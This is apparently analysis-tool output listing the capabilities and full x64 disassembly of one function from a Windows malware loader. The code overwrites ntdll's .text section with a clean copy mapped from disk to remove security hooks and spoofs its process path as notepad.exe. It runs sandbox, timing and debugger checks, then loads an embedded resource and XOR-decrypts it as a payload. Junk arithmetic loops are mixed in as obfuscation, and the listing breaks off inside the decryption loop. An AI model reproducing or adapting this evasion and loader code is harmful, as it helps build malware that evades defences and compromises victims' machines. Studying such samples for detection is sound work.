Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x340], ecx
mov qword [rbp + 0x348], rdx
call fcn.140002ae0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x298], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x290], rax
mov ecx, 0xcf4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x288], rax
mov ecx, 0xcf4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x280], rax
mov ecx, 0xcf4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x278], rax
mov ecx, 0xcf4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x270], rax
mov dword [rbp + 0x318], 0x33c
mov dword [rbp + 0x31c], 0
jmp 0x140001597
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x31c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x288]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x31c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x280]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x31c], 1
cmp dword [rbp + 0x31c], 0x33c
jle 0x140001504
mov dword [rbp + 0x31c], 0
jmp 0x140001636
mov eax, dword [rbp + 0x318]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x288]
add rax, rdx
mov edx, dword [rbp + 0x31c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x278]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x318]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x280]
add rax, rdx
mov edx, dword [rbp + 0x31c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x270]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x318], 1
add dword [rbp + 0x31c], 1
cmp dword [rbp + 0x31c], 0x33c
jle 0x1400015b6
mov rax, qword [rbp + 0x288]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x280]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x278]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x270]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x268], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x310], rax
cmp qword [rbp + 0x310], 0
jne 0x1400017d3
mov dword [rbp + 0x308], 0
mov dword [rbp + 0x264], 0
mov ecx, 0x1ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x258], rax
mov dword [rbp + 0x30c], 0
jmp 0x140001787
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x30c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x258]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x30c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x258]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x308], eax
add dword [rbp + 0x30c], 1
cmp dword [rbp + 0x30c], 0x7a
jle 0x14000170b
mov rax, qword [rbp + 0x258]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x310], rax
cmp qword [rbp + 0x310], 0
je 0x140001ae1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xa0]
mov rax, qword [rbp + 0x268]
mov r10, qword [rbp + 0x310]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov qword [rbp + 0x2f8], 0
mov dword [rbp + 0x304], 0x323
jmp 0x14000183e
mov eax, dword [rbp + 0x304]
cdqe
add qword [rbp + 0x2f8], rax
sub dword [rbp + 0x304], 1
cmp dword [rbp + 0x304], 0
jg 0x140001828
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x250], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x240]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x250]
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x230]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x250]
add rax, rdx
mov qword [rbp + 0x228], rax
mov word [rbp + 0x2f6], 0
jmp 0x140001ac9
mov dword [rbp + 0x2f0], 0
jmp 0x14000198d
call sub.msvcrt.dll_rand
imul eax, eax, 0x1e
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006170]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003ad0
movq rax, xmm0
mov qword [rbp + 0x218], rax
add dword [rbp + 0x2f0], 1
cmp dword [rbp + 0x2f0], 0x161
jle 0x14000194f
mov rax, qword [rbp + 0x228]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x228]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x2f6]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x220]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001ab8
mov dword [rbp + 0x68], 0
mov rax, qword [rbp + 0x220]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x220]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x250]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x68]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x220]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x220]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x238]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x220]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x250]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x68]
mov rax, qword [rbp + 0x220]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x220]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x250]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x68]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x2f6]
add eax, 1
mov word [rbp + 0x2f6], ax
mov rax, qword [rbp + 0x228]
movzx eax, word [rax + 6]
cmp word [rbp + 0x2f6], ax
jb 0x140001943
mov ecx, 0x6c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x210], rax
mov dword [rbp + 0x2ec], 0
jmp 0x140001b4c
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006170]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x2ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x210]
add rax, rdx
movsd xmm1, qword [0x140006178]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x2ec], 1
cmp dword [rbp + 0x2ec], 0xd8
jle 0x140001afe
mov dword [rbp + 0x2ec], 0
jmp 0x140001bb6
mov eax, dword [rbp + 0x2ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x210]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2ec]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x210]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2ec], 1
cmp dword [rbp + 0x2ec], 0xd8
jle 0x140001b64
mov dword [rbp + 0x6c], 0
mov rax, qword [rbp + 0x298]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x208], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x70]
lea rax, [rbp + 0x6c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x208]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x78]
add rax, 0x3c
mov qword [rbp + 0x200], rax
mov dword [rbp + 0x2e0], 0
mov dword [rbp + 0x1fc], 0x328
mov dword [rbp + 0x1f8], 0x194
mov eax, dword [rbp + 0x1fc]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x2e8], 0
jmp 0x140001c9a
mov eax, dword [rbp + 0x2e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1f0]
add rdx, rax
mov eax, dword [rbp + 0x2e8]
mov dword [rdx], eax
add dword [rbp + 0x2e8], 1
mov eax, dword [rbp + 0x2e8]
cmp eax, dword [rbp + 0x1f8]
jl 0x140001c71
mov dword [rbp + 0x2e8], 1
jmp 0x140001d2c
mov eax, dword [rbp + 0x2e8]
mov dword [rbp + 0x2e4], eax
jmp 0x140001d03
mov edx, dword [rbp + 0x2e8]
mov eax, dword [rbp + 0x2e4]
add edx, eax
mov eax, dword [rbp + 0x2e8]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x2e4]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1f0]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x2e4], 1
mov eax, dword [rbp + 0x1f8]
sub eax, dword [rbp + 0x2e8]
mov edx, dword [rbp + 0x2e8]
add edx, edx
lea ebx, [rdx + 1]
cdq
idiv ebx
cmp dword [rbp + 0x2e4], eax
jle 0x140001cc2
add dword [rbp + 0x2e8], 1
mov eax, dword [rbp + 0x2e8]
cmp eax, dword [rbp + 0x1f8]
jl 0x140001cb4
cmp dword [rbp + 0x1fc], 2
jle 0x140001d70
mov eax, dword [rbp + 0x2e0]
lea edx, [rax + 1]
mov dword [rbp + 0x2e0], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1f0]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x2e8], 1
jmp 0x140001dd4
mov eax, dword [rbp + 0x2e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1f0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001dcd
mov eax, dword [rbp + 0x2e8]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x2e0]
lea edx, [rax + 1]
mov dword [rbp + 0x2e0], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1f0]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x2e8], 1
mov eax, dword [rbp + 0x2e8]
cmp eax, dword [rbp + 0x1f8]
jl 0x140001d7c
mov dword [rbp + 0x1ec], 2
mov dword [rbp + 0x2dc], 0
mov dword [rbp + 0x2e8], 0
jmp 0x140001e30
mov eax, dword [rbp + 0x2e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1f0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001e29
add dword [rbp + 0x2dc], 1
add dword [rbp + 0x2e8], 1
mov eax, dword [rbp + 0x2e8]
cmp eax, dword [rbp + 0x1ec]
jl 0x140001e02
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x200]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x200]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1e0], rax
cmp qword [rbp + 0x1e0], 0
je 0x140001eca
mov rax, qword [rbp + 0x1e0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
mov ecx, 0
call rax
mov dword [rbp + 0x2d8], eax
cmp dword [rbp + 0x2d8], 0xffffffff
je 0x140002a1e
mov ecx, 0x46d
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x46d
jne 0x140002a1e
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x1d0]
mov ecx, 0
call rax
mov dword [rbp + 0x1cc], eax
cmp dword [rbp + 0x1cc], 0xffffffff
je 0x140002a1e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x1b8], rax
cmp qword [rbp + 0x1b8], 0
jne 0x140002a1e
mov dword [rbp + 0x1b4], 0x30d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
call rax
mov dword [rbp + 0x19c], eax
mov eax, dword [rbp + 0x1b4]
mov r8, qword [rbp + 0x1a8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x1a0]
call rax
mov dword [rbp + 0x198], eax
mov eax, dword [rbp + 0x198]
sub eax, dword [rbp + 0x19c]
cmp eax, 0x2db
jbe 0x140002a1e
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x190], rax
cmp qword [rbp + 0x190], 0
je 0x140002a1e
mov rax, qword [rbp + 0x190]
mov edx, 0x497
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x18c], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x180], rax
cmp qword [rbp + 0x180], 0
je 0x140002a1e
mov rax, qword [rbp + 0x180]
mov edx, 0x5e5
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x17c], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x170]
call rax
mov dword [rbp + 0x16c], eax
mov ecx, 0x2cb
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x170]
call rax
mov dword [rbp + 0x168], eax
mov eax, dword [rbp + 0x168]
sub eax, dword [rbp + 0x16c]
cmp eax, 0x299
jbe 0x140002a1e
mov qword [rbp + 0x160], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x158]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x25f6e80
mov ecx, 0
call rax
mov qword [rbp + 0x160], rax
cmp qword [rbp + 0x160], 0
je 0x140002a1e
mov rax, qword [rbp + 0x160]
mov edx, 0x25f6e80
mov rcx, rax
call fcn.140004960
mov rax, qword [rbp + 0x160]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x64], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x150], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x64]
mov r8, qword [rbp + 0x150]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x64]
cmp eax, 1
je 0x140002a1e
mov rax, qword [rbp + 0x290]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x148], rax
lea rax, str.LDTBDAIQYM
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x148]
lea r8, str.LDTBDAIQYM
mov ecx, 0
call rax
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x140]
mov r8, qword [rbp + 0x138]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x130], rax
mov dword [rbp + 0x12c], 0
mov dword [rbp + 0x2cc], 0
mov ecx, 0x5068
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x120], rax
mov dword [rbp + 0x2d4], 0
jmp 0x1400023ec
mov dword [rbp + 0x2d0], 0
jmp 0x1400023d8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2d4]
movsxd rdx, edx
imul rcx, rdx, 0x14c
mov rdx, qword [rbp + 0x120]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2d0]
cdqe
mov dword [r8 + rax*4], edx
mov eax, dword [rbp + 0x2d4]
cdqe
imul rdx, rax, 0x14c
mov rax, qword [rbp + 0x120]
add rdx, rax
mov eax, dword [rbp + 0x2d0]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400023d1
add dword [rbp + 0x2cc], 1
add dword [rbp + 0x2d0], 1
cmp dword [rbp + 0x2d0], 0x52
jle 0x140002357
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x3d
jle 0x140002348
cmp dword [rbp + 0x2cc], 0xa0d
jne 0x14000240f
mov dword [rbp + 0x12c], 1
mov rax, qword [rbp + 0x120]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x290]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x140]
mov r8, qword [rbp + 0x118]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x110]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x140]
mov r8, qword [rbp + 0x118]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x100]
mov r9, qword [rbp + 0x108]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0x298]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x140]
mov r8, qword [rbp + 0x118]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x130]
mov rax, qword [rbp + 0xf8]
mov r9, qword [rbp + 0xf0]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x2c4], 0
mov dword [rbp + 0x2c0], 0
movabs rax, 0x1b2baa1ad67bdd4b
movabs rdx, 0xab723470d0c8a44a
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x5fda99b8afe05b00
movabs rdx, 0x9d8bbd15af7e5d5a
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x7403faae52dec3a2
movabs rdx, 0xc8554f1ba06caace
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov dword [rbp + 0x5f], 0x7e5ec8
movabs rax, 0x9bbdc5560dd07b90
movabs rdx, 0xed731ce00277c5b3
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x52b8c31a3935ef33
movabs rdx, 0xb1ca5ebdfafb0e6d
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov dword [rbp - 0x21], 0x7298b1
mov dword [rbp + 0x2c8], 0
jmp 0x14000273d
cmp dword [rbp + 0x2c4], 0x21
jne 0x14000264f
mov eax, dword [rbp + 0x2c8]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x2c4]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x2c8]
cdqe
mov byte [rbp + rax - 0x10], dl
mov dword [rbp + 0x2c4], 0
jmp 0x140002736
mov dword [rbp + 0x2bc], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x2b0], xmm0
add dword [rbp + 0x2bc], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x2bc]
movsd xmm0, qword [0x140006178]
addsd xmm0, xmm1
mov rax, qword [0x140006180]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ca0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x2bc]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006178]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x2b0]
addsd xmm0, xmm1
movsd qword [rbp + 0x2b0], xmm0
cmp dword [rbp + 0x2bc], 0x16f
jle 0x140002665
movsd xmm1, qword [rbp + 0x2b0]
movsd xmm0, qword [0x140006188]
mulsd xmm0, xmm1
movsd qword [rbp + 0x2b0], xmm0
mov eax, dword [rbp + 0x2c8]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x2c4]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x2c8]
cdqe
mov byte [rbp + rax - 0x10], dl
add dword [rbp + 0x2c4], 1
add dword [rbp + 0x2c8], 1
mov eax, dword [rbp + 0x2c8]
cmp eax, 0x31
jbe 0x14000260f
mov dword [rbp + 0x2c8], 0
jmp 0x140002928
cmp dword [rbp + 0x2c0], 0x31
jne 0x1400028dc
mov eax, dword [rbp + 0x2c8]
movsxd rdx, eax
mov rax, qword [rbp + 0xf8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2c0]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x2c8]
movsxd rdx, eax
mov rax, qword [rbp + 0xf8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x2c0], 0
mov dword [rbp + 0xcc], 0
mov ecx, 0x350
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0x2ac], 0
jmp 0x1400028bb
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0xcc], edx
mov edx, dword [rbp + 0xcc]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0xcc], eax
cmp dword [rbp + 0xcc], 0x168
jle 0x140002841
mov eax, dword [rbp + 0x2ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xc0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x1400028b4
cmp dword [rbp + 0xcc], 0
jns 0x14000286e
mov eax, dword [rbp + 0x2ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xc0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x1400028b4
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0xcc]
movsd xmm0, qword [0x140006190]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140006198]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x2ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xc0]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x2ac], 1
cmp dword [rbp + 0x2ac], 0xd3
jle 0x1400027da
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140002921
mov eax, dword [rbp + 0x2c8]
movsxd rdx, eax
mov rax, qword [rbp + 0xf8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2c0]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x2c8]
movsxd rdx, eax
mov rax, qword [rbp + 0xf8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x2c0], 1
